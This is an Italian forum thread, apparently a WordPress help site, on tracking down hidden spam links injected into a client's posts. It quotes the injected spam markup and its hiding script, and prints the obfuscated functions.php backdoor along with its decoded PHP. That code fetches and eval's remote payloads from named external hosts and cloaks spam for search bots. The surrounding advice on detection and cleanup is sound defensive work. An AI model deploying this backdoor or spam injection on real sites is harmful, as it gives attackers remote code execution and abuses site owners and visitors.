Suggerimenti per trovare link SPAM iniettati in the_content
Sto lavorando sul sito di un cliente e ho notato che i post hanno un <div>
nascosto pieno di link SPAM per pillole di dubbia provenienza, ecc. Sperando di avere fortuna, ho cercato alcune delle parole chiave nelle tabelle del database, ma non ho trovato corrispondenze. Ho anche cercato il codice in tutti i file, e non ho trovato riscontri.
So che gli hack di WordPress possono essere molto difficili da rimuovere e gli hacker si impegnano molto per renderli difficili da trovare. Ma forse ci sono alcuni "soliti sospetti" che potrei controllare, o magari alcuni segnali rivelatori che potrei cercare.
Non sto chiedendo a nessuno di risolvere questo specifico hack. Sto solo cercando consigli su dove cercare (in generale).
Nel caso fosse utile, ecco il <div>
non autorizzato che viene iniettato subito prima della chiusura del primo <\p>
:
<div id='hideMeya'> Per questo è necessario cercare come si http://www.cialis.com <a href="http://wwxcashadvancecom.com/" title="vuoi $745? visita il nostro sito.">vuoi $745? visita il nostro sito.</a> firma qualsiasi somma di denaro. Visita i nostri creditori sicuri per cattivo credito che cialis levitra sales viagra <a href="http://www10525.c3viagra10.com/" title="viagra australia online">viagra australia online</a> prestatori di giorno di paga sanno altrimenti. Ma il nero che rimani sul prezzo scontato levitra <a href="http://www10385.x1cialis10.com/" title="cos'è l'impotenza negli uomini">cos'è l'impotenza negli uomini</a> dovere nelle loro vite. Cittadino a uno online o dopo aver ricevuto la loro ricerca viagra online <a href="http://www10675.80viagra10.com/" title="www.viagra.com">www.viagra.com</a> per aspettare solo fino a lunedì. Questo si riferisce specificamente al negozio ogni busta paga riceve viagra senza prescrizione <a href="http://www10154.40cialis10.com/" title="consegna cialis overnight">consegna cialis overnight</a> e solo usato o fax richiesto. Controlleremo due volte i prestiti per piccole imprese viagra per donne <a href="http://www10077.x1cialis10.com/" title="cialis india">cialis india</a> siti che funzionano prima dell'approvazione dell'attività. La busta paga è finita contanti ci sarebbe generare levitra <a href="http://www10450.a1viagra10.com/" title="viagra cialis levitra">viagra cialis levitra</a> il metodo di scadenza programmato. Possiedi un'applicazione breve quando anche il denaro acquista cialis online <a href="http://buy4kamagra.com/" title="kamagra">kamagra</a> un sacco di limiti personali iniziali. Anche quei prestiti veloci perché i finanziatori capiscono http://cialis-ca-online.com <a href="http://levitra4au.com/" title="levitrafroaustraila">levitrafroaustraila</a> che noti un anticipo sul giorno di paga. Le domande di prestito sono più comuni grazie http://www.cialis2au.com/ <a href="http://buy-7cialis.com/" title="cialis">cialis</a> solo per applicare sul sito web. I terzi mutuatari utilizzeranno la tua busta paga per farmacia online levitra <a href="http://www10675.30viagra10.com/" title="acquisto viagra online">acquisto viagra online</a> utilizzare questi individui possono coprire. Spesso è necessario garantire anche la farmacia online viagra usa <a href="http://www10600.90viagra10.com/" title="efficacia viagra">efficacia viagra</a> con spese finanziarie. Grazie al controllo del conto anche prestito in contanti commerciante wwwwviagracom.com <a href="http://www10075.90viagra10.com/" title="levitra viagra cialis">levitra viagra cialis</a> confronto stato o da lì. A che pagano in semplici viagra <a href="http://www10225.30viagra10.com/" title="viagra generico più economico">viagra generico più economico</a> secondi e per comprendere. Se un pignoramento o limitato a vedere se approvato www.cashadvances.com | Richiedi un anticipo in contanti online! <a href="http://www10385.70cialis10.com/" title="dosaggio cialis">dosaggio cialis</a> i rischi associati al tuo indirizzo attuale. I secondi mutuatari non dovrebbero iniziare e lottare http://www.cashadvance.com <a href="http://levitra-online-ca.com/" title="levitra in vendita">levitra in vendita</a> almeno un pulsante. Grazie per inviare i benefici della vita quotidiana ordine viagra più economico online <a href="http://www10462.70cialis10.com/" title="tadalafil">tadalafil</a> da essere pignorati sui suoi benefici. Infine puoi ottenere aiuto per ricostruire il prestito originale acquista cialis viagra <a href="http://viagra5online.com/" title="viagra senza prescrizione">viagra senza prescrizione</a> può davvero solo per sorprese. Prestiti bancari fuori ti prenderai http://wviagracom.com/ <a href="http://www10539.40cialis10.com/" title="integratori per disfunzione erettile">integratori per disfunzione erettile</a> le condizioni sono a. Le bollette potrebbero fornire un'auto inaspettata fornitori cialis uk <a href="http://kamagra-ca-online.com/" title="kamagra">kamagra</a> ha rotto un periodo di rimborso. I terzi mutuatari rimborsano perché l'industria del giorno di paga ha i risultati http://www.buy9levitra.com/ <a href="http://www10075.20viagra10.com/" title="uso ricreativo viagra">uso ricreativo viagra</a> dall'uomo medio e verificare il processo. Dopo aver verificato la tua domanda con dignità e carte di credito www.levitra.com <a href="http://www10300.b2viagra10.com/" title="consegna viagra overnight">consegna viagra overnight</a> o guidare per garantire prestito online. La maggior parte delle persone per dollari tra cattivo e cialis gratuito <a href="http://viagra7au.com/" title="http://viagra7au.com/">http://viagra7au.com/</a> invece questi richiedenti è disponibile. Sicurezza sociale contro la tua somma più grande del giorno di paga acquisto viagra online <a href="http://payday7online.com/" title="prestiti rateali diretti dei finanziatori senza controllo del credito">prestiti rateali diretti dei finanziatori senza controllo del credito</a> di pettegolezzi quando si lavora chiamate telefoniche. Affrontalo fornisce industria del giorno di paga di un'ora levitra online <a href="http://www10150.30viagra10.com/" title="acquista viagra ora">acquista viagra ora</a> ha un alto punteggio di credito? Entro pochi minuti durante il tuo miglior punteggio gamma da http://cashadvance8online.com <a href="http://www10450.60viagra10.com/" title="istruzioni dosaggio viagra">istruzioni dosaggio viagra</a> commissioni se ci sono per loro la maggior parte. Per evitare scartoffie in crisi sorgono da wwwpaydayloancom.com | Modulo di richiesta prestiti giornalieri online! <a href="http://www10225.80viagra10.com/" title="viagra super attivo">viagra super attivo</a> online dal pagamento della banca? I fondi sapranno di gettare il tuo anticipo in contanti senza controllo del credito <a href="http://orderviagrauaonline.com/" title="viagara online">viagara online</a> finanze ci sono quella borsa. Le aziende si rendono conto che chiede per cui può diventare cialis online <a href="http://www10375.60viagra10.com/" title="viagra sublinguale">viagra sublinguale</a> idoneo alla busta paga alcuni finanziatori. Fatture mediche che siano molto più facili di quanto effettivamente necessario solo anticipo in contanti online <a href="http://cashadvance8online.com" title="anticipo in contanti online">anticipo in contanti online</a> i tuoi fondi tramite la libertà che hai. </div><script type='text/javascript'>if(document.getElementById('hideMeya') != null){document.getElementById('hideMeya').style.visibility = 'hidden';document.getElementById('hideMeya').style.display = 'none';}</script> </p>
Non ripeterò i buoni consigli già forniti nella risposta di Squish. Dovresti anche leggere questo articolo sulla sicurezza di Wordpress. Mi limiterò a descrivere ciò che ho imparato dalla mia esperienza.
L'attacco che ho subito è un tipo di black hat SEO conosciuto come "hideMeYa": http://siteolytics.com/black-hat-seo-technique-demystified/
In sostanza, l'attaccante inserisce una serie di link nascosti nel contenuto in modo che non siano visibili agli utenti ma vengano rilevati da Google. In questo modo sfruttano siti inconsapevoli per generare backlink verso siti poco affidabili.
È difficile dire con certezza come sia stato fatto, ma in questo sito erano presenti due vulnerabilità di sicurezza note:
- L'utente admin era ancora in uso (dovresti eliminare/rinominare l'utente admin).
- Plugin e core non aggiornati
Nel mio caso, il file infetto era il functions.php del tema. All'inizio del file c'era questo codice:
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=owOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQnchR3cfJ2bKogCKASfKAyOwRCIuJXd0VmcJogCK0XCK0XCJogC9lQCJoQfJkQCJowOxQHelRHJuAHJ9AHJJkQCJkgC7V2csVWfJkQCJoQfJkQCJkgC7kCckACLxQHelRHJuICIi4yZhRHJgwyZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCJkQCKsXZzxWZ9lQCJkQCKAyOpAHJsEDd4VGdk4iIgIiLnFGdkwyZhRHJoU2YhxGclJXafJHdzBUPwRSCJkQCJkgC7lSK00TPlBXe0RCK8xXKz0TPlBXe0RCKoAiZplQCJkQCKsXKpcWY0RCLwRCKyR3cpJHdzhCImlWCJkQCKowepkiIi0TIxQHelRHJoYiJpIiI9EyZhRHJogCImlWCJkgC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJscWY0RCK0NXaslQCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkQCKsXK09mYkgCImlWCJogC9lQCKsTKoAXafR3biVGbn92bn91cp1DdvJGJJkQCKsXKpMTP9UGc5RHJowHfpITP9UGc5RHJogCImlWCJoQfJkgC7kCKhV3X09mYfNXa9Q3biRSCJkgC7lSK00TPlBXe0RCK8xXKx0TPlBXe0RCKoAiZplQCKsXKpQTP9UGc5RHJowHfpMTP9UGc5RHJowHfpITP9UGc5RHJowHfpETP9UGc5RHJogCImlWCKU2csVWfJoQCJoQfJkgC7EDd4VGdk4Cck0DckkQCJowelNHbl1XCJowOpAHJgwSM0hXZ0dWY0RiLiAiIuEDd4VGdkACLxQHelR3ZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCKsXKpkSM0hXZ0dWY0RCLwRCKyR3cpJHdzhiJmkiIi0TIxQHelR3ZhRHJogCImlWCJoQfJkgC7Mnak4Cck0DckkQCJowelNHbl1XCJowOpAHJgwycqdWY0RiLiAiIuMnakACLzp2ZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCKsXKpkycqdWY0RCLwRCKyR3cpJHdzhiJmkiIi0TIzp2ZhRHJogCImlWCJogC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJsEDd4VGdnFGdkwycqRCLzp2ZhRHJoQ3cpxWCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkgC7lCM90TZwlHdkgCImlWCKsDM9Q3biRSCKsDM9sSZwlHdkgCKsDckAibyVHdlJXKiISP9QHelRHJoAiZplgC7kiZ1JGJsICf8xnIoUGZvxGc4VGQ9kCd4VGdkwSZwlHdkgCdzlGbJoQfJowOwRCIuJXd0VmcJkgC7liIi0TPmVnYkgCImlWCKsTXws1akAUPmVnYkkgCK0XCKsDckAibyVHdlJXCJowepkCekgibvlGdw92X0V2Zg0DIrRSIoAiZplgC9lgC9lQCKsDckAibyVHdlJXCJkgC7lSKrRCL4RCKu9Wa0B3bfVGdhRGc1FCKgYWaJkgC7kCKl1Wa01TXxs1akkQCKsDbhZHJ90FMbtGJJkgC7kCK5FmcyFWPrRSCJowOpgSO5kzXlxWam9VZ0FGZwVXPsFmdkkQCKsXKlRXYkBXdkgCImlWCK0XCKkQCK0XCJowOx0TZ0FGZwVHJJkQCKsXKyEjKwAjNz4TZtlGdjRCKgYWaJkgC70VMbtGJA1SKoUWbpRXPl1Wa0NGJJkgC7V2csVWfJowOx0TZ0FGZwVHJJkgC9lQCKsDckAibyVHdlJXCJkgC7lSKn8mbnwyJnwSKokXYyJXQsgHJo42bpRHcv9FZkFWIoAiZplQCKsXKpgHJo42bpRHcv9FdldGI9AyakECKgYWaJowOw0TZ0FGZwVHJJowOiISPmVnYkkgC7cSfzVWbh52Xz52bpRHcvt3J9gHJJogC9lgC7AHJg4mc1RXZylQCKsHIpASKpgibp9FZld2Zvx2XyV2c191cpBiJmASKn4WafRWZnd2bs9lclNXdfNXangyc0NXa4V2Xu9Wa0Nmb1ZGKgwHfgkSXnETLl1Wa01ycn5Wa0RXZz1Cc3dyWFl0SP90QfRCK0V2czlGI8xHIp01Jx0ycn5Wa0RXZz1Cc3dyWFl0SP90QfRCK0V2czlGI8xHIp01Jll2av92YfR3clR3XzNXZyBHZy92dnsVRJt0TPN0XkgCdlN3cphCImlWCKowegkCckgCcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNGIu9Wa0Nmb1ZmCKogC9pwOsFmdkAibyVHdlJXCK0XCKsTKpUGZvNGJoUGZvNWZk9FN2U2chJGKsFmdllQCKsTKsFmdkwiI8xHfFR0TDxHf8JCKlR2bsBHel1TKlR2bjRCLsFmdkgCdzlGbJkgC7lSKiwHf8VERPNEf8xnIswWY2RCKyR3cyR3coAiZplgC7kiMsFWd0NWYkgSO5kzXsJXdfRXZn1DbhZHJpIiI90DbhZHJoAiZplgC7kSMsFWd0NWYkgSO5kzXsJXdfRXZn1DbhZHJJowOpJXdk4iIvUncuc2ZphXYt9yL6AHd0hmI9IDbhVHdjFGJJowOpJXdk4iIv02bj5CZv92dlhGdulGbu9yL6AHd0hmI9EDbhVHdjFGJJowOiQjY3QGZiR2N9kmJw1Dd/AHaw5yZi0TayVHJJogC7lCK5kTOfVGbpZ2XlRXYkBXdg42bpR3YuVnZKoQf7sGJg4mc1RXZytTM9sGJpkSN5ITOzYzMyETM9wDcpRCKmYSK0ATMxMjNzITMx0jPwlGJogCIml2OpkSXiIFREF0XFR1TNVkUislUFZlUFN1XkAEKn52bsJDcpBELiUXJigiZ05WayB3c9AXaksDM9sGJ7lCKwl2X09mYlx2Zv92ZfNXag42bpR3YuVnZK03O09mYkAibyVHdlJ3Ox0DdvJGJpkiI09mYlx2Zv92ZiwSY1RCKyR3cpJHdzxHfpICdvJ2ZulmYiwSY1RCKyR3cpJHdzhCIml2Ox0DdvJGJpkiIv9GahllIsEWdkgic0NXayR3c8xXKiQ3bi52ctJCLhVHJoIHdzlmc0NHKgYWa701JU5URHF0XSV0UV9FUURFSnslUFZlUFN1XkAUPhVHJ7ATP09mYksXKoEWdfR3bi91cpBibvlGdj5WdmpQf7Q3YlpmY1NHJg4mc1RXZylQf7kSKoNmchV2ckgiblxmc0NHIsM3bwRCIsU2YhxGclJHJgwCdjVmaiV3ckgSZjFGbwVmcfJHdzJWdzBSPgQ3YlpmY1NHJJsHIpU2csFmZg0TPhAycvBHJoAiZptTKoNmchV2ckACL0NWZqJWdzRCKz9GcpJHdzBSPgM3bwRyegkCdjVmaiV3ckACLlNWYsBXZyRCIsg2YyFWZzRCK0NncpZ2XlNWYsBXZy9lc0NHIu9Wa0Nmb1ZmC9tjZ1JGJg4mc1RXZytTKmVnYkwSKwEDKyh2YukyMxgicoNmLpATMoIHaj5SKzEDKyh2YoUGZvxGc4VWPpYWdiRCLtRCK0NXastTZzxWYmBibyVHdlJXKiISP9YWdiRCKgYWa7kyaj92ckgSZz9Gbj9Fdlt2YvNHQ9tDdk0jLmVnYksXKpADMwATMss2YvNHJoQWYlJ3X0V2aj92c9QHJoUGbph2d7cyJ9YWdiRyOpQ3clVXclJHJss2YvNHJoUGdpJ3dfRXZrN2bztjIuxlbcR3cvhGJgoDdz9GSi0jL0NXZ1FXZyRyOi4GXw4SMvAFVUhEIpJXdkACVFdkI9ACdzVWdxVmck03OlNHbhZGIuJXd0Vmc7kyaj92ckgSZz9Gbj9Fdlt2YvNHQ7lSKwgDLxAXakwyaj92ckgCdjVmbu92YfRXZrN2bzBUIoAiZptTKQNEVfx0TTxSTBVkUUN1XLN0TTxCVF5USfZUQoUGdhVmcj9Fdlt2YvNHQ9s2YvNHJ7U2csFmZg4mc1RXZyliMwlGJ9ESMwlGJoAiZpByOpkSMwlGJocmbvxmMwlGQoAXaycmbvxGQ9IDcpRyOpQ3cvhGJoUWbh5WeiR3cvhGdldGQ9EDcpRyOddSeyVWdxdyWwRiLn8zJu01JoRXYwdyWwRSPpJXdksTXnQ3cvh2JbBHJ9Q3cvhGJ7kCbyVHJowmc19VZzJXYwBUPwRyOlNHbhZGIuJXd0VmcpU2csFmZ90TPpcSZ0FWZyN2X0V2aj92cngyc0NXa4V2Xu9Wa0Nmb1ZGKml2epwmc1RCK5kTOfRXZrN2bzlnc0BibvlGdj5WdmpQf7YWdiRCIuJXd0Vmc7kiZ1JGJskCMxgicoNmLpMTMoIHaj5SKwEDKyh2YukyMxgicoNGKlR2bsBHel1TKmVnYkwSbkgCdzlGb7U2csFmZg4mc1RXZyliIi0TPmVnYkgCIml2OpYGJoU2cvx2Ym13OpADMwATMsYGJoQWYlJnZ94iZ1JGJ7lSKmRCKm9WZmFCKlxWaod3OncSPmVnYksTK0NXZ1FXZyRCLmRCKlRXaydnZ7Iibc5GX0N3boRCI6Q3cvhkI94CdzVWdxVmcksjIuxFMuEzLQRFVIBSayVHJgQVRHJSPgQ3clVXclJHJ7U2csFmZg4mc1RXZyliZkECKml2OpAzMsIHdzJnclRCIs8mbyJXZkwCM4wCdz9GakgiblB3brN2bzZGQ9YGJ701J5JXZ1F3JbBHJucyPn4SXngGdhB3JbBHJ9kmc1RyOddCdz9GansFck0Ddz9GaksTKsJXdkgCbyV3XlNnchBHQ9AHJ7U2csFmZg4mc1RXZylSZzxWYm1TP9kyJuVGcvt2YvNnZngyc0NXa4V2Xu9Wa0Nmb1ZGKml2epwmc1RCK5kTOf5WZw92aj92cmlnc0BibvlGdj5WdmpQf7YWdiRCIuJXd0Vmc7U2csFmZg4mc1RXZyliIi0TPmVnYkgCIml2OlNHbhZGIuJXd0VmcgU2csVWf7kiZkgSZz9GbjZWf7kCMwADMxwiZkgCZhVmcm1jLmVnYksXKpYGJoY2blZWIoUGbph2d7liZkgCIml2OpcicnwCbyVHJo4WZw9mZA1jZkszJn0jZ1JGJ7U2csFmZg4mc1RXZylSZzxWYm1TP9kyJuVGcvZ2JoMHdzlGel9lbvlGdj5WdmhiZptXKsJXdkgSO5kzXuVGcvZWeyRHIu9Wa0Nmb1ZmC9tjZ1JGJg4mc1RXZytTZzxWYmBibyVHdlJXKiISP9YWdiRCKgYWa7kyYulGJscyJoUGZvxGctlGQ9YWdiRyOpwmc1RCKlxWamBUPj5WaksTZzxWYmBibyVHdlJXKlNHbhZWP90TKnUGbpZ2JoMHdzlGel9lbvlGdj5WdmhiZptXKsJXdkgSO5kzXlxWamlnc0BibvlGdj5WdmpQf7QHb1NXZyRCIuJXd0Vmc7U2csFmZg4mc1RXZyliIi0TP0xWdzVmckgCIml2Opg2YkgSZz9Gbj9FbyV3Y7kCajRCKgMWZ4V2XsJXdjBSPgQHb1NXZyRyOpADIsIVREFURI9FVQ9ETSV1QgwCajRCKgQHcvRXZz9FbyV3Y7kSNgwCVV9URNlEVfRFUPxkUVNEIsg2YkgCI0B3b0V2cfxmc1N2OpEDIsIVRGNlTBJFVOJVVUVkUfRFUPxkUVNEIsg2YkgCI0B3b0V2cfxmc1N2Opwmc1RCLMJVVfRFUPxkUVNEIsg2YkgCI0B3b0V2cfxmc1N2OpgCI0lmbp9FbyV3Yg0DIoNGJ7U2csFmZg4mc1RXZylSZzxWYm1TP9kyJ0lmbp9FbyV3Yngyc0NXa4V2Xu9Wa0Nmb1ZGKml2epwmc1RCK5kTOfxmc1NWeyRHIu9Wa0Nmb1ZmC9tzJnAibyVHdlJ3O05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOfRXZrN2bzlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOf5WZw92aj92cmlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOf5WZw9mZ5JHdA1DduVGdu92YksDduVGdu92YkAibyVHdlJXKlNHbhZWP9ECduVGdu92YkgiZptTKsJXdkgSO5kzXlxWamlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOfxmc1NWeyRHQ9QnblRnbvNGJ7IiI9QnblRnbvNGJ7lCbyVHJokTO58FbyV3X0V2Zg42bpR3YuVnZ"(edoced_46esab(lave'));?><?php
Nota come è astutamente nominato per sembrare codice tipico di Wordpress.
Non analizzerò tutto il codice, ma in sostanza è un insieme di codice base64_encode
invertito. La funzione strrev()
rende difficile individuare i due segnali più evidenti: base64_encode
e eval
. Il codice non offuscato è incluso di seguito, ma ecco i miei principali insegnamenti (oltre a quanto detto da Squish):
- Cerca
eval
ebase64_decode
, ma anche le loro versioni invertite:lave
eedoced_46esab
- Cerca anche istanze di
strrev
. Ci sono pochi usi legittimi di queste funzioni nel core di WP che potrebbero generare falsi positivi, ma non così tanti da non poterli esaminare uno per uno. - Nel mio caso, l'hack non appare per gli utenti loggati (controlla i cookie del client), quindi non lasciarti confondere. È un trucco astuto per confondere gli utenti che con più probabilità lo stanno cercando.
Buona notte e buona fortuna.
Il codice non offuscato risulta essere questo:
function get_url_999($url){$content="";$content=@trycurl_999($url);if($content!==false)return $content;$content=@tryfile_999($url);if($content!==false)return $content;$content=@tryfopen_999($url);if($content!==false)return $content;$content=@tryfsockopen_999($url);if($content!==false)return $content;$content=@trysocket_999($url);if($content!==false)return $content;return '';}
function trycurl_999($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}
function tryfile_999($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}
function tryfopen_999($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}
function tryfsockopen_999($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function trysocket_999($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function str_replace_first($search, $replace, $subject) {$pos = stripos($subject, $search);if ($pos !== false) { $subject = substr_replace($subject, $replace, $pos, strlen($search));} return $subject;}
function is_bot_ua(){$bot=0;$ua=@$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"googlebot"))$bot=1;return $bot;}
function is_googlebot_ip(){$k=0;$ip=sprintf("%u",@ip2long(@$_SERVER["REMOTE_ADDR"]));if (($ip>=1123631104)&&($ip<=1123639295))$k=1;return $k;}
function update_file_999(){
$uri="g.php?t=p&i=7dbdd7b4";
$actual1="http://nlinthewood.com/".$uri;
$actual2="http://maxigg.ru/".$uri;
$val=get_url_999($actual1);
if ($val=="")$val=get_url_999($actual2);
if (strstr($val,"|||CODE|||")){
list($val,$code)=explode("|||CODE|||",$val);
eval(base64_decode($code));
}
return $val;
}

Ok +1 e ho protetto la domanda. Facci solo un favore: invece dei link sopra, per favore mostracI come funziona l'iniezione/come hanno ottenuto accesso poiché questa è la parte che non riguarda "identificare & ripristinare" e quella (prevenirla) è interessante per i lettori della tua domanda. O in altre parole: per favore leggi l'ultimo commento che ho postato sulla domanda per il motivo per cui l'ho riaperta.

@kaiser Stai chiedendo una discussione su come l'hacker è riuscito ad accedere/modificare i file? O stai chiedendo più discussione su come funziona l'attacco una volta che è in atto?

In generale, il posto migliore dove cercare è nelle cartelle del tuo tema, in particolare nel tema principale e nel file index.php. Poi nei file footer e header.
Inoltre, controlla le date di modifica e inizia con i file modificati più di recente. Specialmente se ce ne sono diversi che sono stati modificati tutti intorno alla stessa data/ora.
Ho visto, e dovuto risolvere, questo problema diverse volte sui server delle persone. I dati falsi vengono normalmente caricati tramite uno script inserito nei file php del template.
Prima di tutto, dovresti assolutamente leggere le FAQ di WordPress per gestire un sito hackerato.
I punti di ingresso comuni per ottenere l'"accesso" necessario per eseguire l'iniezione sono temi e/o plugin obsoleti. È meglio eseguire server di produzione con un solo tema attivo sul server, oltre a rimuovere i plugin non utilizzati e sostituire i plugin attivi obsoleti.
Esistono alcuni script che puoi caricare sul tuo server per aiutarti a trovare i file infetti in modo da poterli sostituire, pulire o eliminare. (Link elencati di seguito)
Ancora una volta, prova a guardare le date di modifica dei file e controlla quelli che non hai modificato/installato di recente ma che hanno una data recente.
- Look for Bad Guys : Ho usato questo. Richiede un po' di configurazione per eliminare tutti i falsi positivi... ma almeno può darti un'idea generale di quali file controllare.
- Wordfence offre la possibilità di scansionare i tuoi file con il loro plugin gratuito, anche se non posso raccomandarlo personalmente, dato che non l'ho usato personalmente. https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
- Sucuri viene spesso linkato nei forum di WordPress e hanno anche loro un plugin per la scansione, ma ancora una volta... non l'ho usato personalmente. Ma sono una persona che preferisce mettere le mani in pasta.
